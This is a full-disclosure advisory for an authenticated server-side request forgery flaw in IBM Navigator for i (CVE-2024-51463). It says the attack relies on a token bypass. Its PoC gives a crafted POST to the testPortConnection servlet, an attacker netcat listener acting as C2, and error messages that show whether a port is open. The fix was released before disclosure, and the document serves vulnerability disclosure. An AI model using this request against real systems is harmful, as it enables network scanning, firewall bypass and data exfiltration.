Message-ID: <CAFD2FDO4=hrJVUs9gK7nBRRz1wq2MMWo+aEbkjpuADwpBTunUg@mail.gmail.com>
Date: Fri, 27 Dec 2024 22:19:52 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] IBMi Navigator / CVE-2024-51463 / Server Side Request Forgery
	(SSRF)

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  https://hyp3rlinx.altervista.org/advisories/IBMi_Navigator_Server_Side_Request_Forgery_CVE-2024-51463.txt
[+] x.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]www.ibm.com

[Product]
Navigator for i is a Web console interface where you can perform the
key tasks to administer your IBM i.
IBM Navigator for i supports the vast majority of tasks that were
available in the System i Navigator Windows client application.
This Web application is part of the base IBM i operating system, and
can be easily accessed from your web browser.


[Vulnerability Type]
Server Side Request Forgery (SSRF)

[CVE Reference]
CVE-2024-51463

[Security Issue]
IBM i is vulnerable to server-side request forgery (SSRF). This may
allow an authenticated attacker to send unauthorized requests from the
system,
potentially leading to network enumeration or facilitating other attacks.

post auth server side request forgery on non managed nodes to external
hosts on any TCP ports. There are two call vectors that can be abused
here,
one is the "Test TLS connection" but it only allows connections to TCP
port 9476.

However, there exists another servlet method called "testConnectPort"
which an authenticated attacker can use to connect to any IP and PORT
outside of the LAN. This can be abused for port scans, information
disclosure, exfil data., bypass firewall rules to attack non managed
nodes
or connect to attacker controlled C2 infrastructure.

This SSRF relies on exploiting a HTTP servlet generated security token
bypass CVE-2024-51464, where intercepted HTTP request MN tokens are
incremented or padded with zero. This attacker controlled MN token is
now seen as valid and the HTTP 403 Forbidden restriction is bypassed.


[Exploit/POC]
1)  attacker payload

POST /Navigator/DispatcherServlet/serviceability/testPortConnection?system=10.1.1.4
{"hostname":"10.2.10.16", "port":445}

2) attackers c2 server

┌──(rootggKali)-[/usr/share]
└─# nc -llvp 445
listening on [any] 445 ...
connect to [10.2.10.16] from victimhost [10.1.1.4] 44569


For port scan we can infer if external host ports are open or closed
using error responses.

Port is open:
Error 500: Connection reset

Port is closed
Error 500: A remote host refused an attempted connect


[References]
ADV0142856https://www.ibm.com/support/pages/node/7179509

[Affected versions]
7.5.0,7.4.0, 7.3.0


[Network Access]
Remote


[Severity]
Medium
CVSS Base score:  5.4

Vendor Notification:  10/14/2024
Vendor fix and publication: 12/20/2024
12/27/2024 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion
in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse
of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists